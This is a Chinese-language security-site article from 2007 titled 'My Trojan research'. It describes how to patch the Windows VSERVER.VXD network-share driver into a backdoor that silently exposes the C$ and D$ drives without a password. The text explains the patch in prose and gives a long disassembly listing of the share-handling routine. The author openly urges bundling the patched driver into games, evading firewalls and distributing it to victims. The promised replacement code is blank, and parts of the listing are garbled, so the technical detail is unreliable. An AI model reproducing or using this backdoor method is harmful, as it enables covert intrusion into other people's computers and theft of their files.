| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
安全365
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
| 安全技术首页 | 技术研究 | 技术应用 | 数据安全 | 企业专区 |
我的木马研究
我的木马研究
作者:未知 文章来源:中国信息安全组织 点击数: 更新时间:2007-8-14 1:54:17
网上木马程序很流行,其实说来也很简单,大致都是修改注册表或者INI文件加载一个文件提供服务,
这就手工都很容易检测出木马来。一,看增加的不明服务。二,因为木马是作为服务一般要打开一个网
络通信端口,所以检查增加的服务端口也很容易检查出木马程序来。其实完全可以稍微改动操作系统
核而作出一个很好的木马来,这样不用改动注册表也可以让用户很不容易发觉。


  下面就是简单改动一个驱动程序做一个木马的方法。大家可以分析别的驱动程序相应的作出自己的
木马来。这儿是利用WINDOWS的共享和远程管理。WINDOWS的共享如果共享名是ADMIN$就可以远程管理,
就是登陆ADMIN$进去了后所有的盘都完全共享为盘符加$.下面一段就是VSERVER。VXD处理共享的一段程
序,SUB_0027校验密码,密码对了后后面检测共享名是ADMIN $否,是就看C$,D$...共享没有
(DATA_0431==0?),没共享就调用SUB_0230共享,SUB_0230 一个参数就是密码指针,如果密码指针
为0就没密码。这儿为了好改动就用的这个参数。显然我们就可以必要的时候调用SUB_0230
就开了个后门。LOC_0415是检测网络通信的共享名串大于0DH否(包括串后的0),是就转LOC_0419出
错返回,显然我们可以利用这儿去调用SUB_0230. 看LOC_0419 有7个字节可以利用,可以安排 CALL SUB_0230
NEW_LOC_0418 POP eax
 jmp 03469
刚好7个字节。3436: JE LOC_0418 是没找到要共享的目录跳转到LOC_0418 显然要改动,改动成JE NEW_LOC_0418就可以。现在是LOC_0415一段要跳转到LOC_0419前要PUSH 0以调用SUB_0230。
下面是LOC_0415的改法:

LOC_0415:


刚好字节够用,注意DATA_0182 那儿有重定位那种字节不能简单改动。你可以把你的好的程序好的游戏加上一小段代码这么改动他的VSERVER。VXD文件,最好是硬盘的WINDOWS安装目录打包文件里面的VSERVER。VXD也改动,还有访问共享目录\\IP的139端口也最好加一个别的端口以逃避有些路由器防火墙的设置,再把你的程序散发。。。。。

 中了你的木马的你访问他的共享目录后面加一大串字母(共享名串长大于等于0DH)会提示出错,但你就可以再访问\\IP\C$, \\IP\D$....了,这可是完全共享的了.如果你先没有那个一大串字母的访问他也没有设置远程管理的话 \\IP\C$,\\IP\D$... 都不能访问的,他自己用网络监视器也看不到这种共享的,所以很不容易觉察的。注意你进入共享目录了网络监视器还是能看到。




  ;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
  ;SUBROUTINE
  ;
  ; Called from: 031FD,32CC
  ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

  033F4sub_0026procnear
  033F456pushesi
  033F566| 81 3B 5C5Ccmpword ptr [ebx],5C5Ch
  033FA74 07jeshort loc_0412; Jump if equal
  033FC66| 81 3B 2F2Fcmpword ptr [ebx],2F2Fh
  0340175 12jneshort loc_0415; Jump if not equal
  03403loc_0412:;xref 033FA
  034038D 73 02leaesi,dword ptr [ebx 2]; Load effective addr
  03406loc_0413:;xref 0340F
  03406E8 00006961callsub_0207; (09D6C)
  0340B74 05jzshort loc_0414; Jump if zero
  0340D3C 5Ccmpal,5Ch; '\'
  0340F75 F5jneloc_0413; Jump if not equal
  0341146incesi
  03412loc_0414:;xref 0340B
  034128D 5E FFleaebx,dword ptr [esi-1]; Load effective addr
  03415loc_0415:;xref 03401
  034152A C0subal,al
  03417B9 0000FFFFmovecx,0FFFFh
  0341C8B FBmovedi,ebx
  0341EF2/ AErepnescasb; Rep zf=0 cx "gt;0 Scan es:[di] fal
  034208B C7moveax,edi
  034222B C3subeax,ebx
  0342483 F8 0Dcmpeax,0Dh
  0342777 26jashort loc_0419; Jump if above
  0342955pushebp
  0342A8B 2D 00011CA4movebp,dword ptr data_0182;THE SHARE POINTER ; (11CA4=0)
  03430loc_0416:;xref 0344C
  03430 ?1 FD 00011CA4cmpebp,11CA4h
  0343674 16jeshort loc_0418; Jump if equal
  0343880 7D 08 02cmpbyte ptr [ebp ClientEBP],2
  0343C75 0Bjneshort loc_0417; Jump if not equal
  0343E8D 75 11leaesi,dword ptr [ebp 11h]; Load effective addr
  034418B FBmovedi,ebx
  034438B C8movecx,eax
  03445F3/ A6repecmpsb; Rep zf=1 cx "gt;0 Cmp [si] to es:[di]
  0344774 3Ajzshort loc_0424; Jump if zero
  03449loc_0417:;xref 0343C
  034498B 6D 00movebp,dword ptr [ebp ClientEDI]
  0344CEB E2jmpshort loc_0416; (03430)
  0344Eloc_0418:;xref 03436
  0344E5Dpopebp
  0344Floc_0419:;xref 03427
  0344FB8 00060002moveax,60002h
  034545Epopesi
  03455F9stc; Set carry flag
  03456C3retn
  03457loc_0420:;xref 0349F
  034578B 43 34moveax,dword ptr [ebx 34h]
  0345A8B 1Bmovebx,[ebx]
  0345C81 FB 00011CA4cmpebx,11CA4h
  0346274 0Ajeshort loc_0421; Jump if equal
  034643B 43 34cmpeax,dword ptr [ebx 34h]
  0346774 2Fjeshort loc_0425; Jump if equal
  03469B8 00020002moveax,20002h
  0346Eloc_0421:;xref 03462, 3481, 354D, 35E8
  0346E ?Epopesi
  0346FF9stc; Set carry flag
  03470C3retn
  0347133 DBdb 33h,0DBh
  03473loc_0422:;xref 0349D
  034735Epopesi
  03474C3retn
  03475loc_0423:;xref 034C1
  034758B D3movedx,ebx
  03477 鶥B 0000000Amovebx,0Ah; (0000A=0B8h)
  0347CB8 00590002moveax,590002h
  03481EB EBjmpshort loc_0421; (0346E)
  03483loc_0424:;xref 03447
  034838B DDmovebx,ebp
  0348559popecx ;ebp ,the password long
  03486F6 05 00012446 01testbyte ptr data_0317,1; (12446=0)
  0348D75 12jnzshort loc_0426; Jump if not zero
  0348F8B 34 24movesi,[esp]
  03492F6 46 1F 01testbyte ptr [esi 1Fh],1
  0349675 09jnzshort loc_0426; Jump if not zero
  03498loc_0425:;xref 03467
  03498E8 00000182callsub_0027; (0361F)check the password
  0349D72 D4jcloc_0422; Jump if carry Set
  0349F75 B6jnzloc_0420; Jump if not zero
  034A1loc_0426:;xref 0348D, 3496
  034A1F6 43 10 40testbyte ptr [ebx 10h],40h; '@'
  034A50F 85 00000089jnzloc_0433; Jump if not zero
  034ABA1 00011CC4moveax,data_0190; (11CC4=0FFFFF000h)
  034B080 38 01cmpbyte ptr [eax],1
  034B30F 83 00000134jaeloc_0439; Jump if above =
  034B9loc_0427:;xref 0353B, 3564, 356F, 35F6
  ;3611
  034B966| 8B 53 0Emovdx,word ptr [ebx 0Eh]
  034BD66| 39 53 0Ccmpword ptr [ebx 0Ch],dx
  034C176 B2jbeloc_0423; Jump if below =
  034C3loc_0428:;xref 03528
  034C38B 0D 00011B34movecx,dword ptr data_0170; (11B34=0)
  034C985 C9testecx,ecx
  034CB74 56jzshort loc_0431; Jump if zero
  034CD8B 01moveax,[ecx]
  034CFA3 00011B34movdata_0170,eax; (11B34=0)
  034D466| FF 43 0Eincword ptr [ebx 0Eh]
  034D889 59 0Cmovdword ptr [ecx 0Ch],ebx
  034DBC6 41 14 03movbyte ptr [ecx 14h],3
  034DF8A 41 17moval,byte ptr [ecx 17h]
  034E204 08addal,8
  034E40C C0oral,0C0h
  034E688 41 17movbyte ptr [ecx 17h],al
  034E9C6 41 15 00movbyte ptr [ecx 15h],0
  034ED8B 34 24movesi,[esp]
  034F0F6 46 1F 08testbyte ptr [esi 1Fh],8
  034F475 08jnzshort loc_0429; Jump if not zero
  034F6A1 00011CC8moveax,data_0191; (11CC8=0FFFFF000h)
  034FBFF 40 10incdword ptr [eax 10h]
  034FEloc_0429:;xref 034F4
  034FE5Epopesi
  034FF81 7B 11 494D4441cmpdword ptr [ebx 11h],494D4441h;ADMIN$ ?
  0350675 0Ejneshort loc_0430; Jump if not equal
  0350866| 81 7B 15 244Ecmpword ptr [ebx 15h],244Eh
  0350E75 06jneshort loc_0430; Jump if not equal
  0351080 7B 17 00cmpbyte ptr [ebx 17h],0
  0351474 61jeshort loc_0435; Jump if equal
  03516loc_0430:;xref 03506, 350E, 3584
  03516B8 00011CD4moveax,11CD4h
  0351BE8 000056BCcallsub_0130; (08BDC)
  0352085 DBtestebx,ebx
  03522C3retn
  03523loc_0431:;xref 034CB
  03523E8 00000190callsub_0028; (036B8)
  0352873 99jncloc_0428; Jump if carry=0
  0352AEB 00jmpshort loc_0432; (0352C)
  0352Cloc_0432:;xref 0352A
  0352C5Fpopedi
  0352DB8 00590002moveax,590002h
  03532F9stc; Set carry flag
  03533C3retn
  03534loc_0433:;xref 034A5
  035348B 34 24movesi,[esp]
  03537F6 46 1F 01testbyte ptr [esi 1Fh],1
  0353B0F 85 FFFFFF78jnzloc_0427; Jump if not zero
  03541loc_0434:;xref 03575, 358F
  03541 ?B D3movedx,ebx
  03543BB 0000000Bmovebx,0Bh
  03548B8 00050001moveax,50001h
  0354DE9 FFFFFF1Cjmploc_0421; (0346E)
  ;* No entry point to code
  035528B 3C 24movedi,[esp]
  0355553pushebx
  035568B 35 000128B8movesi,dword ptr data_0379; (128B8=0FFFFF000h)
  0355CE8 FFFFE407callsub_0009; (01968)
  035615Bpopebx
  035620B EDorebp,ebp; Zero ?
  035640F 84 FFFFFF4Fjzloc_0427; Jump if zero
  0356A3E: 83 7D 10 00cmpdword ptr ds:[ebp ClientEBX],0
  0356F0F 85 FFFFFF44jneloc_0427; Jump if not equal
  03575EB CAjmpshort loc_0434; (03541)
  03577loc_0435:;xref 03514
  03577F6 05 00012446 01testbyte ptr data_0317,1; (12446=0)
  0357E74 11jzshort loc_0436; Jump if zero
  03580F6 46 1F 01testbyte ptr [esi 1Fh],1
  0358475 90jnzloc_0430; NOT ADMIN$ Jump if not zero
  0358666| FF 4B 0Edecword ptr [ebx 0Eh]
  0358AC6 41 14 00movbyte ptr [ecx 14h],0
  0358E56pushesi
  0358FEB B0jmpshort loc_0434; (03541)
  03591loc_0436:;xref 0357E
  0359180 4E 1F 01orbyte ptr [esi 1Fh],1
  03595C6 41 15 01movbyte ptr [ecx 15h],1
  035998B FEmovedi,esi

  0359B8B 35 000128B8movesi,dword ptr data_0379; (128B8=0FFFFF000h)
  035A183 3D 000134E0 00cmpdword ptr data_0431,0; C$,D$HAVE BEEN SHARED(134E0=0)
  035A875 14jneshort loc_0437; Jump if not equal
  035AA52pushedx
  035AB51pushecx
  035AC8D 4B 1Eleaecx,dword ptr [ebx 1Eh];THE ADMIN$ PASSWORD
  035AF ?1pushecx;PARAMETER_1if ecx=0 no password
  035B0E8 0000856Fcallsub_0230;MAKE C$,D$SHARE(0BB24)
  035B559popecx
  035B659popecx
  035B75Apopedx
  035B8FF 05 000134E0incdword ptr data_0431; (134E0=0)
  035BEloc_0437:;xref 035A8
  035BE53pushebx
  035BFE8 FFFFE3A4callsub_0009; (01968)
  035C472 13jcshort loc_0438; Jump if carry Set
  035C68B 3D 00011CCCmovedi,dword ptr data_0192; (11CCC=0FFFFF000h)
  035CC8B BF 000000E2movedi,dword ptr ds:[0E2h][edi]; (000E2=358B0000h)
  035D289 7B 04movdword ptr [ebx 4],edi
  035D55Bpopebx
  035D685 DBtestebx,ebx
  035D8C3retn
  035D9loc_0438:;xref 035C4
  035D95Apopedx
  035DAC6 41 14 00movbyte ptr [ecx 14h],0
  035DEBB 0000000Cmovebx,0Ch
  035E3B8 00010002moveax,10002h
  035E8E9 FFFFFE81jmploc_0421; (0346E)
  035EDloc_0439:;xref 034B3
  035ED75 28jnzshort loc_0440; Jump if not zero
  035EF8B 34 24movesi,[esp]
  035F2F6 46 1F 01testbyte ptr [esi 1Fh],1
  035F60F 85 FFFFFEBDjnzloc_0427; Jump if not zero
  035FC81 7B 11 494D4441cmpdword ptr [ebx 11h],494D4441h
  0360375 12jneshort loc_0440; Jump if not equal
  0360566| 81 7B 15 244Ecmpword ptr [ebx 15h],244Eh
  0360B75 0Ajneshort loc_0440; Jump if not equal
  0360D80 7B 17 00cmpbyte ptr [ebx 17h],0
  036110F 84 FFFFFEA2jeloc_0427; Jump if equal
  03617loc_0440:;xref 035ED, 3603, 360B
  03617B8 00510002moveax,510002h
  0361C5Fpopedi
  0361DF9stc; Set carry flag
  0361EC3retn
  sub_0026endp


文章录入:郝丽    责任编辑:郝丽 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    没有相关文章
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029 点击这里给我发消息

    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有